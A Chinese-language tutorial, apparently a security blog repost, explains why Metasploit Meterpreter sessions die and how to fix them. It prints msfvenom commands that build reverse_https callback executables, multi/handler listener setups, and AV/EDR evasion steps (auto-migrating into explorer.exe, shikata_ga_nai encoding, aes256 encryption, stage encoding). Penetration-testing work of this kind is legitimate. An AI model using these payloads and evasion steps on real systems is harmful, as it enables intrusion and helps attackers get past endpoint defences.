正文

垂死挣扎？拯救你的Meterpreter session

admin
admin V管理员 /0 评论 /22 阅读
0321
此篇文章发布距今已超过1190天，您需要注意文章的内容或图片是否可用！

 

前言

本文将分析常见的meterpreter session终止的原因，并提供相应解决方案。

使用Metasploit Framework时，你可能时常遇到meterpreter session终止的情况，你呆呆地望着控制台的错误信息提示“Meterpreter session 1 closed. Reason: Died”

本篇文章，我们将探究发生这些错误的原因，并提供相应解决方法。

 

原因一：Metasploit版本不兼容

Meterpreter会话终止的一个常见原因是，使用一个版本的Metasploit（例如v5）生成payload，但是却使用另一个版本的Metasploit（例如v6）来接收Meterpreter连接。

由于不同版本的Metasploit彼此不完全兼容，因此无法使用。 使用不兼容的Metasploit版本会引发各种错误，包括下列错误：

[] Started reverse TCP handler on 192.168.24.5:8443
[] 192.168.1.2 - Meterpreter session 1 closed. Reason: Died
[*] Meterpreter session 1 opened (192.168.24.5:8443 -> 192.168.1.2:49257) at 2020-12-09 08:24:55 -0400

解决方法

针对这种情况，解决方法非常简单，只需确保在两端始终使用相同版本的Metasploit。

例如，如果你正在使用MSFv6生成payload，请确保也使用MSFv6接收连接（或连接到目标）。

 

原因二：payload不匹配

meterpreter session终止的另一个常见原因是在使用exploit/multi/handler模块时使用了错误的（不匹配）payload。

exploit/multi/handler是一个通用的payload处理程序，用于处理来自独立payloads或exploits的连接，通常使用msfvenom手动生成。

为了实现所需功能，通常要求指定的payload在两端都必须精确匹配，此处很容易犯错。

例如，我们可能在msfvenom中指定使用windows/meterpreter/reverse_https模块payload，而在msfconsole中，却错误地选择了windows/meterpreter/reverse_tcp模块payload。

这可能会导致多种错误，包括以下几点：

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.204.3:8443 
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:01 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*]  - Meterpreter session 2 closed.  Reason: Died
[*] Meterpreter session 3 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 4 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500
[*]  - Meterpreter session 3 closed.  Reason: Died
[*]  - Meterpreter session 4 closed.  Reason: Died
[*] Sending stage (201283 bytes) to 192.168.1.100
[*]  - Meterpreter session 5 closed.  Reason: Died
[*] Meterpreter session 5 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:06 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*]  - Meterpreter session 6 closed.  Reason: Died
[*] Meterpreter session 6 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 7 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500
[*]  - Meterpreter session 7 closed.  Reason: Died
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 8 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 9 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500

解决方法

如前所述，我们必须确保在msfvenom和msfconsole的两端都使用相同的payload。

下面以windows/x64/meterpreter/reverse_https模块payload为示例，演示如何正确设置multi handler。

（1）设置multi handler listener

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 10.11.0.5
msf6 exploit(multi/handler) > set LPORT 8443
msf6 exploit(multi/handler) > run

（2）生成独立的meterpreter payload

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=8443 -f exe -o runme.exe

现在，一旦将runme.exe可执行文件投递到目标上并运行，我们就会收到meterpreter session，过程中不存在任何问题：

 

原因三：架构混淆（32位/64位）

在使用Metasploit时，在选择处理器体系结构时犯错误，将它们混淆在一起。

如果我们犯了这样的错误，则可能导致以下错误：

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.204.2:8443 
[*] Sending stage (206403 bytes) to 192.168.100.1
[*] Meterpreter session 4 opened (192.168.204.2:8443 -> 192.168.100.1:50146) at 2020-12-09 13:07:30 +0400
[*] 192.168.100.1 - Meterpreter session 4 closed.  Reason: Died

msfconsole没有响应，我们必须通过^ C（Control + C）按键手动中断会话：

^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] run: Interrupted
msf6 exploit(multi/handler) >

解决方法

确保不要在msfvenom和msfconsole中混用了处理器体系结构。 两端只能使用32位或64位payloads。

32位、64位payloads示例：

 

被AV/EDR所斩杀

Meterpreter session 1 closed. Reason: Died错误的另一个常见原因是，某些情况下meterpreter被目标机器上运行的AV(杀毒软件)/EDR（终端检测响应）检测到了。

在这种情况下，meterpreter进程将会被杀死，从而导致以下结果：

[*] Started reverse TCP handler on 192.168.204.2:8443 
[*] Sending stage (985320 bytes) to 192.168.100.1
[*] Meterpreter session 1 opened (192.168.204.2:8443 -> 192.168.100.1:39854) at 2020-12-30 10:33:14 +0400

meterpreter > 
[*] 192.168.100.1 - Meterpreter session 1 closed.  Reason: Died

请注意，在stage投递之后、session成功建立时，meterpreter会话仍会终止。

这会发生在会话期间的任何时刻。

解决方法1：迁移到其他进程

我们可以采取这样一个技巧：尽快将meterpreter进程迁移到另一个良性进程（例如explorer.exe 或是svchost.exe），以此躲避AV查杀。

需要注意的是，进程迁移仅在Windows目标上有效，因为UNIX系统不具有执行这些任务的功能（系统API）。是的，我说的正是CreateRemoteThread、WriteProcessMemory和其他允许进行进程注入的Windows API。

Metasploit框架使我们可以在会话建立后，使用以下高级选项之一实现meterpreter进程的自动迁移：

  • InitialAutoRunScript
  • AutoRunScript

以下是如何将Meterpreter自动迁移到explorer.exe进程的示例：

msf6 exploit(..) > set AutoRunScript "migrate -n explorer.exe"
msf6 exploit(..) > run

解决方法2：混淆混淆混淆，重要的事情说三遍

混淆显然是一个非常广泛的话题，可以说有无限的方法可以逃避AV检测。

从AV的角度来看，使用以下技巧还可以使meterpreter更难被发现。

建议1：Payload encoding (msfvenom)

使用msfvenom生成payload时，我们可以使用各种编码器甚至加密算法来混淆最终的投递程序。

这是一个使用shikata_ga_nai编码器进行10次迭代来编码的payload，并且还使用aes256算法来加密内部shellcode的示例：

msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 10 --encrypt aes256 -x /usr/share/windows-binaries/plink.exe -o runme.exe

通过以下命令，可以查看其他编码和加密选项：

msfvenom --list encoders
msfvenom --list encrypt

建议2：Stage encoding (msfconsole)

打开meterpreter会话时，当metermeter stage被发送到目标时，传输的网络流量中有一些特定的、易于识别的字节。

尝试在msfconsole中使用EnableStageEncoding高级选项对stage进行编码：

msf6 exploit(..) > set EnableStageEncoding true
msf6 exploit(..) > run

这可能会有助于规避某些AV，以防meterpreter会话被杀死。

查看msfconsole中的其他选项：

msf6 exploit(..) > show advanced
msf6 exploit(..) > set StageEncoder [TAB] ..

 

故障排除技巧

这里有一些技巧，可以帮助你解决Metasploit中的问题，不仅是针对与meterpreter会话终止有关问题，而且面向其他相关问题。

Increase logging

msfconsole中有一个全局LogLevel选项，用于控制打印日志的详细程度，可以设置1到5之间的数值：

msf6 exploit(..) > setg LogLevel 5

检查Metasploit日志

发生错误后，检查Metasploit日志文件，了解一下发生了什么：

cat ~/.msf4/logs/framework.log

快速诊断信息

当发生错误（例如meterpreter 会话终止）时，可以通过在msfconsole中运行debug命令来快速获取诊断信息：

[*] 192.168.100.1 - Meterpreter session 1 closed.  Reason: Died
msf6 exploit(..) > debug

此举会打印出各种可能有用的信息，包括Metasploit日志文件本身的相关片段。

Metasploit wiki pages

查看以下资源，以调试终止的meterpreter会话：

https://github.com/rapid7/metasploit-framework/wiki/Debugging-Dead-Meterpreter-Sessions

 

总结

向Metasploit框架报告issue之前：

  • 确保目标和msfconsole两端都使用相同的payload和体系结构（32位/64位）
  • 检查是否使用与接收meterpreter相同版本的Metasploit来生成payload

另外，为避免杀毒软件检测到meterpreter，导致meterpreter会话终止：

  • 仅选择使用加密通信信道的payload，例如：
    • meterpreter/reverse_winhttps
    • meterpreter/reverse_https
    • meterpreter/reverse_tcp_rc4
    • meterpreter/bind_tcp_rc4
  • 配置meterpreter进程自动迁移到另一个（良性）进程
  • 使用可用的payload编码、加密和混淆选项